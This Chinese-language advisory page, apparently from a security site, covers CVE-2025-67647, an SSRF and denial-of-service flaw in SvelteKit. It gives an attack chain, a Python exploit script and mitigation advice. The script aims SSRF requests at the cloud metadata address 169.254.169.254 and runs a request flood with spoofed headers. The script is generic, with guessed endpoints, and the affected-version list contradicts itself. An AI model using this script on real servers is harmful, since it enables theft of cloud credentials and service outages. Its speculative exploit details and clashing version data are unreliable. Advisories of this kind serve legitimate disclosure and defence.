IPBUF安全漏洞报告
English
CVE-2025-67647 CVSS 9.1 严重

CVE-2025-67647 SvelteKit SSRF与拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-67647
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SvelteKit

相关标签

SvelteKitSSRFDoSCVE-2025-67647服务器端请求伪造拒绝服务Web框架预渲染漏洞Node.jsJavaScript

漏洞概述

SvelteKit是一个用于快速开发高性能Web应用的框架。本次发现的CVE-2025-67647漏洞影响SvelteKit 2.19.0至2.49.4版本,存在服务器端请求伪造(SSRF)和拒绝服务(DoS)双重安全风险。在特定条件下,攻击者可利用此漏洞发起SSRF攻击,访问内部资源或执行未授权操作;同时可造成服务拒绝,影响应用可用性。该漏洞主要影响具有预渲染路由(export const prerender = true)的应用,以及使用adapter-node但未配置ORIGIN环境变量且无反向代理进行Host头验证的场景。漏洞已被标记为严重级别,CVSS评分高达9.1分,远程攻击者无需认证即可利用,具有极高的安全威胁。

技术细节

漏洞主要存在于SvelteKit的请求处理和预渲染机制中。攻击者可通过构造特制的HTTP请求,利用预渲染路由功能触发SSRF漏洞,从而访问内部网络资源或执行未授权操作。在使用adapter-node的部署环境中,若未正确配置ORIGIN环境变量且缺少反向代理的Host头验证,攻击者可利用此漏洞造成拒绝服务。SvelteKit的预渲染功能在处理请求时未充分验证请求来源,允许攻击者通过操纵请求参数绕过安全限制。攻击者可通过发送恶意请求触发无限循环或资源耗尽,导致服务器无法正常响应合法请求。此漏洞无需用户交互,远程攻击者可直接利用,对系统机密性(高)和可用性(高)造成严重影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用SvelteKit框架,检查是否存在预渲染路由(prerender = true),确认版本是否在受影响范围内(2.19.0-2.49.4)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意Host头或重定向参数的HTTP请求,利用SvelteKit对请求来源验证不足的缺陷
STEP 3
步骤3: SSRF攻击
通过操纵请求参数,攻击者使服务器向内部资源(如元数据服务169.254.169.254、云服务API等)发起请求,实现服务器端请求伪造
STEP 4
步骤4: DoS攻击
发送大量畸形请求触发资源耗尽,或利用预渲染机制造成无限循环,导致服务器无法处理正常请求
STEP 5
步骤5: 数据窃取/服务中断
SSRF可获取敏感内部数据,DoS导致业务中断,两种攻击均可造成严重安全影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67647 PoC - SvelteKit SSRF/DoS Attack # Target: SvelteKit < 2.49.5 with prerendered routes # Note: This PoC demonstrates the attack concept import requests import sys def exploit_sveltekit_ssrf(target_url): """ SvelteKit SSRF/DoS vulnerability exploitation Requires target to have prerender = true routes """ headers = { 'Host': 'localhost', # Manipulate Host header 'User-Agent': 'Mozilla/5.0', 'Accept': '*/*' } # Path to trigger prerender with malicious parameters exploit_paths = [ '/api/internal/request', '/__data.json', '/prerender-ssr-test' ] print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-67647 SSRF/DoS vulnerability") for path in exploit_paths: try: # Send malformed request to trigger SSRF/DoS url = f"{target_url}{path}?redirect=http://169.254.169.254/latest/meta-data/" response = requests.get(url, headers=headers, timeout=5) print(f"[+] Sent exploit request to {path}") print(f" Status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Request timeout - possible DoS triggered") except Exception as e: print(f"[-] Error: {e}") def trigger_dos(target_url): """ Denial of Service attack via malformed prerender requests """ print(f"[*] Initiating DoS attack on {target_url}") for i in range(100): try: headers = { 'Host': f'malicious-host-{i}.internal', 'X-Forwarded-Host': 'localhost', 'Origin': 'http://evil.com' } requests.get( f"{target_url}/__data.json", headers=headers, timeout=1 ) except: pass print("[*] DoS flood completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-67647.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_sveltekit_ssrf(target) trigger_dos(target)

影响范围

SvelteKit >= 2.44.0 且 < 2.49.5 (具有预渲染路由的应用)
SvelteKit >= 2.19.0 且 < 2.49.5 (使用adapter-node且未配置ORIGIN环境变量)
SvelteKit < 2.49.5 (全部版本均受影响)

防御指南

临时缓解措施
紧急措施:立即将SvelteKit升级至2.49.5版本。若无法立即升级,可采取以下临时缓解措施:1) 确保使用adapter-node时正确配置ORIGIN环境变量;2) 部署反向代理服务器并启用Host头验证;3) 暂时禁用预渲染功能(移除export const prerender = true);4) 限制出站连接,仅允许必要的目的地址;5) 监控异常请求模式,及时发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表